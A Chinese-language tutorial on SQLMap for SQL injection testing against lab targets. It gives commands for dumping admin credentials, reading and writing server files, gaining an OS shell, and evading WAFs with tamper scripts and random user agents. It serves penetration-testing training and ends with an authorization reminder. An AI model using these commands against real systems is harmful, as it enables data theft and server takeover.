46:SQLMap实战全攻略(猜解/权限/绕过/调试)

本节课聚焦 SQLMap的实战应用------作为最强大的SQL注入自动化工具,SQLMap能覆盖从"常规数据猜解"到"高权限文件读写""绕过过滤"的全场景。核心是掌握"参数用法+场景适配",解决手动注入效率低、复杂场景(如JSON/Base64注入)难突破的问题。

一、核心知识点总览

SQLMap的核心价值是"自动化注入流程",本节课围绕5大实战场景展开,覆盖从基础到进阶的所有关键操作:

模块 核心目标 关键参数/工具 实战频率
数据猜解 自动获取库、表、列、敏感数据 --current-db、--tables、--dump
权限操作 高权限下文件读写、系统命令执行 --current-user、--file-read、--os-shell 中(依赖权限)
提交方法适配 处理POST/JSON/Cookie等非GET注入 -r、--data、--cookie
Tamper脚本 绕过关键字过滤、编码转换(如Base64) --tamper、自定义Python脚本 中(过滤场景)
分析与调试 避坑、扫描更多注入点、隐藏工具特征 -v、--proxy、--random-agent、--level

二、数据猜解:自动化获取库表列数据

核心是用SQLMap自动完成"判断注入点→猜库→猜表→猜列→导出数据"的流程,无需手动构造Payload,还能解决字典缺失的问题。

2.1 常规猜解命令(基础必会)

操作目标 命令示例(以GET注入为例) 说明
验证注入点+获取当前库 ​python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --current-db​ 先确认注入点,再定位当前数据库(如fyblog​)
获取指定库的所有表 ​python sqlmap.py -u "URL" --tables -D "fyblog"​ -D指定数据库名,列出所有表(如admin​)
获取指定表的所有列 ​python sqlmap.py -u "URL" --columns -T "admin" -D "fyblog"​ -T指定表名,列出列(如username​、password​)
导出指定列的数据 ​python sqlmap.py -u "URL" --dump -C "username,password" -T "admin" -D "fyblog"​ --dump导出数据,自动解密简单MD5密码

2.2 避坑点:字典缺失导致表名猜不到

问题场景

如果目标表名非常规(如adminxiaodi​),SQLMap默认字典中没有,会导致无法猜出表名。

解决方法
  1. 找到SQLMap的字典目录:sqlmap/data/txt(如案例中的G:\develop\safety\ONE-FOX集成工具箱\gui_scan\sqlmap\data\txt);
  2. 打开common-tables.txt,添加自定义表名(如adminxiaodi);
  3. 重新执行--tables命令,SQLMap会加载新字典,成功猜出表名。

2.3 关键提示

  • 优先用--current-db定位当前数据库,避免直接--tables(会遍历所有库,耗时且杂乱);
  • 线程设置:默认1线程,可手动输入10(根据目标服务器性能调整,避免请求过快被拦截);
  • 数据保存:SQLMap会自动将导出的数据保存在本地(以目标IP/域名命名的目录中),可直接查看。

三、权限操作:高权限注入的进阶用法

当数据库用户为root@localhost​(高权限)时,SQLMap可实现"文件读写""系统命令执行",直接获取服务器控制权。

3.1 权限判断(关键前提)

参数 作用 注意事项
​--is-dba​ 判断当前用户是否为DBA(数据库管理员) 可能误报,不推荐作为唯一依据
​--current-user​ 获取当前数据库用户(如root@localhost​) 推荐!准确判断权限,root​即高权限
​--privileges​ 查看当前用户权限 输出结果较抽象,需结合true/false​判断

3.2 高权限核心操作

1. 文件操作(读取/写入)
操作类型 命令示例 说明
读取文件 ​python sqlmap.py -u "URL" --file-read "F:\1.txt"​ 读取目标服务器文件(需绝对路径)
写入文件 ​python sqlmap.py -u "URL" --file-write "F:\1.txt" --file-dest "C:\123.txt"​ 将本地文件写入目标服务器(如写木马)
2. 系统命令执行
操作类型 命令示例 说明
单条命令 ​python sqlmap.py -u "URL" --os-cmd "calc"​ 执行系统命令(如Windows打开计算器)
获取交互Shell ​python sqlmap.py -u "URL" --os-shell​ 获得系统命令行(需指定网站根目录路径)
SQL交互Shell ​python sqlmap.py -u "URL" --sql-shell​ 直接执行SQL命令(如select version()​)

3.3 避坑点

  • 文件操作需secure_file_priv配置为空(MySQL默认关闭,需修改my.ini后重启);
  • --os-shell需目标服务器支持(如PHP+Windows),且需手动输入网站根目录(如G:\develop\phpstudy_pro\WWW\dome01);
  • 高权限操作仅适用于root用户,普通用户(如test@localhost)无此权限。

四、提交方法适配:处理非GET注入场景

SQL注入不仅存在于GET参数,POST表单、JSON、Cookie、HTTP头都可能是注入点,需用对应参数适配。

4.1 核心参数对比(推荐用-r​)

注入场景 推荐参数 命令示例 关键注意事项
GET注入 直接-u​ ​python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1"​ 最简单,直接跟URL参数
POST表单注入 ​-r 文件名​(优先)或--data​ ​python sqlmap.py -r "head.txt"​ 1. 抓包保存请求到head.txt​; 2. 注入点用*​标记(如uname=test*&pass=test​); 3. 目标URL是接收POST数据的URL(非登录页)
JSON格式注入 ​-r 文件名​ ​python sqlmap.py -r "json.txt"​ 用--data​会因引号冲突报错,必须用-r​读取请求文件
Cookie注入 ​--cookie​或-r​ ​python sqlmap.py -u "URL" --cookie "session=123456*"​ 注入点用*​标记Cookie中的参数

4.2 实战示例:JSON格式注入(避坑重点)

问题场景

直接用--data​提交JSON数据会报错(引号冲突):

​python sqlmap.py -u "http://192.168.137.1:84/sqli/json_check.php" --data '{"username":"admin","password":"123456"}'​

→ 报错"所有参数不可注入"。

正确步骤
  1. 抓包JSON请求,复制完整请求(含请求头和JSON数据);
  2. 保存到json.txt,在注入点加*(如"username":"admin*","password":"123456*");
  3. 执行命令:python sqlmap.py -r "json.txt" → 自动识别JSON格式,成功找到注入点。

4.3 核心结论

  • 无论哪种请求格式,优先用-r参数(读取请求文件),避免格式冲突和参数遗漏;
  • 注入点标记*是关键:手动指定注入位置,减少SQLMap盲目扫描的时间。

五、Tamper脚本:绕过过滤与编码转换

Tamper脚本是SQLMap的"绕过神器",用于处理"关键字过滤""编码注入"(如Base64)等场景,本质是对Payload进行预处理后再发送。

5.1 自带Tamper脚本使用(基础场景)

示例:Base64编码注入
场景

目标注入点参数是Base64编码(如id=MQ==​对应id=1​),直接注入会因编码问题失败。

步骤
  1. 验证注入点(失败):python sqlmap.py -u "http://192.168.137.1:84/sqli/base64.php?id=MQ==" → 无注入点;
  2. 使用Base64解码脚本:python sqlmap.py -u "URL" --tamper=base64encode.py → SQLMap自动对Payload进行Base64编码,成功注入。
常用自带Tamper脚本
脚本名 作用 适用场景
base64encode.py 对Payload进行Base64编码 Base64编码的注入点
upper.py 将Payload关键字转为大写 过滤小写关键字(如select​)
space2comment.py 用注释替换空格(如select/* */1​) 过滤空格的注入点

5.2 自定义Tamper脚本开发(进阶)

开发思路
  1. 分析过滤规则(如过滤SELECT、OR、AND等关键字);
  2. 编写Python脚本,对Payload中的关键字进行替换(如大小写混淆);
  3. 将脚本放入sqlmap/tamper目录,用--tamper调用。
脚本模板(绕过关键字过滤)
复制代码
# 导入SQLMap的优先级枚举
from lib.core.enums import PRIORITY

# 设置脚本优先级(LOW即可)
priority = PRIORITY.LOW

# 声明依赖(无依赖则空实现)
def dependencies():
    pass

# 核心函数:处理Payload
def tamper(payload, **kwargs):
    if payload:  # 若Payload不为空
        # 大小写混淆替换关键字,绕过过滤
        payload = payload.replace('SELECT', 'sElEct')
        payload = payload.replace('OR', 'Or')
        payload = payload.replace('AND', 'And')
        payload = payload.replace('SLEEP', 'SleeP')
    return payload  # 返回处理后的Payload
使用方法
  1. 将脚本保存为test.py,放入sqlmap/tamper目录;
  2. 执行命令:python sqlmap.py -u "URL" --tamper=test.py → 成功绕过关键字过滤。

5.3 避坑点

  • 脚本需符合SQLMap的格式(必须包含dependencies()和tamper()函数);
  • 替换后的Payload需合法(如sElEct仍能被数据库识别);
  • 脚本放置路径正确(sqlmap/tamper,否则SQLMap找不到)。

六、分析拓展:调试、避坑与特征隐藏

实战中需解决"注入失败找不到原因""被WAF识别""扫描不到所有注入点"等问题,需用到SQLMap的调试和拓展参数。

6.1 调试等级(-v)

通过-v [0-6]​控制输出详细程度,用于排查注入失败原因:

等级 输出内容 适用场景
-v 0 仅显示错误和关键消息 快速扫描
-v 4 显示HTTP请求详情 查看Payload是否被正确处理(如Tamper是否生效)
-v 6 显示完整HTTP响应(含页面内容) 排查注入点无回显的原因
示例:验证Tamper脚本是否生效
复制代码
# 不使用Tamper,查看原始Payload
python sqlmap.py -u "URL" -v 4

# 使用自定义Tamper,查看处理后的Payload
python sqlmap.py -u "URL" --tamper=test.py -v 4

→ 对比发现Payload中OR​变为Or​,证明脚本生效。

6.2 隐藏工具特征(避WAF)

1. 随机User-Agent(避免被识别为SQLMap)
复制代码
# 随机生成User-Agent
python sqlmap.py -u "URL" --random-agent
# 自定义User-Agent
python sqlmap.py -u "URL" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/138.0.0.0 Safari/537.36"
2. 延迟请求(避免请求过快被拦截)
复制代码
# 每个请求延迟2-5秒(随机)
python sqlmap.py -u "URL" --time-sec=(2,5)

6.3 调整扫描等级(--level/--risk)

  • --level [1-5]:控制扫描深度(默认1),等级越高,扫描的参数越多(如HTTP头、Cookie);
  • --risk [0-3]:控制扫描风险(默认1),等级越高,使用的Payload越危险(如UPDATE/DELETE语句)。
实战示例:扫描更多注入点
复制代码
# 高等级扫描(可能发现HTTP头注入点,如User-Agent)
python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" --level=3 --risk=2

→ 可能扫描出隐藏的注入点(如User-Agent注入),而默认等级扫描不到。

6.4 代理注入(便于分析流量)

通过BurpSuite代理SQLMap的请求,查看完整的注入流量:

复制代码
python sqlmap.py -u "URL" --proxy "http://127.0.0.1:8080"

→ 开启Burp的代理(默认8080端口),即可在Burp中看到SQLMap发送的所有请求和响应。

七、核心命令总结与实战技巧

7.1 必记核心命令

功能 命令模板
常规数据猜解 ​sqlmap.py -u "URL" --current-db --tables -D "库名" --dump -T "表名" -C "列名"​
高权限文件读取 ​sqlmap.py -u "URL" --current-user --file-read "目标文件路径"​
高权限系统命令 ​sqlmap.py -u "URL" --os-shell​
POST/JSON注入 ​sqlmap.py -r "请求文件.txt"​
绕过Base64编码 ​sqlmap.py -u "URL" --tamper=base64encode.py​
调试+隐藏特征 ​sqlmap.py -u "URL" -v 4 --random-agent --time-sec=(2,5)​

7.2 实战技巧

  1. 所有操作前先验证注入点(用-u或-r),避免盲目执行高权限命令;
  2. 遇到过滤先尝试自带Tamper脚本,无效再自定义;
  3. 注入失败优先排查:注入点标记(*)是否正确、请求格式是否适配(如JSON用-r)、字典是否完整;
  4. 合法授权:所有测试需获得目标服务器的合法授权,禁止未经允许的渗透测试。
相关推荐
一位代码2 小时前
mysql | 环境变量问题及其配置方法详解
数据库·mysql
煎蛋学姐2 小时前
SSM校企协同育人平台j670k(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·ssm 框架开发
cws2004012 小时前
HeidiSQL 使用操作说明书
运维·数据库·windows·mysql·heidisql
Pyeako2 小时前
MySQL基础知识&Linux导入导出数据
linux·数据库·mysql·sql查询·sql分类
山沐与山2 小时前
【数据库】PostgreSQL中JSONB的使用与踩坑记录
数据库·postgresql
醉风塘2 小时前
Oracle闪回技术深度解析:时间旅行者的数据库指南
数据库·oracle
IT·陈寒2 小时前
零配置、开箱即用:seekdb 如何成为 AI 时代的“全能嵌入式数据库”? ——基于 OceanBase seekdb 的实践体验与 AI 开发思考
数据库·人工智能·oceanbase
AI_56783 小时前
MySQL索引的B+树实战哲学
数据库·b树·mysql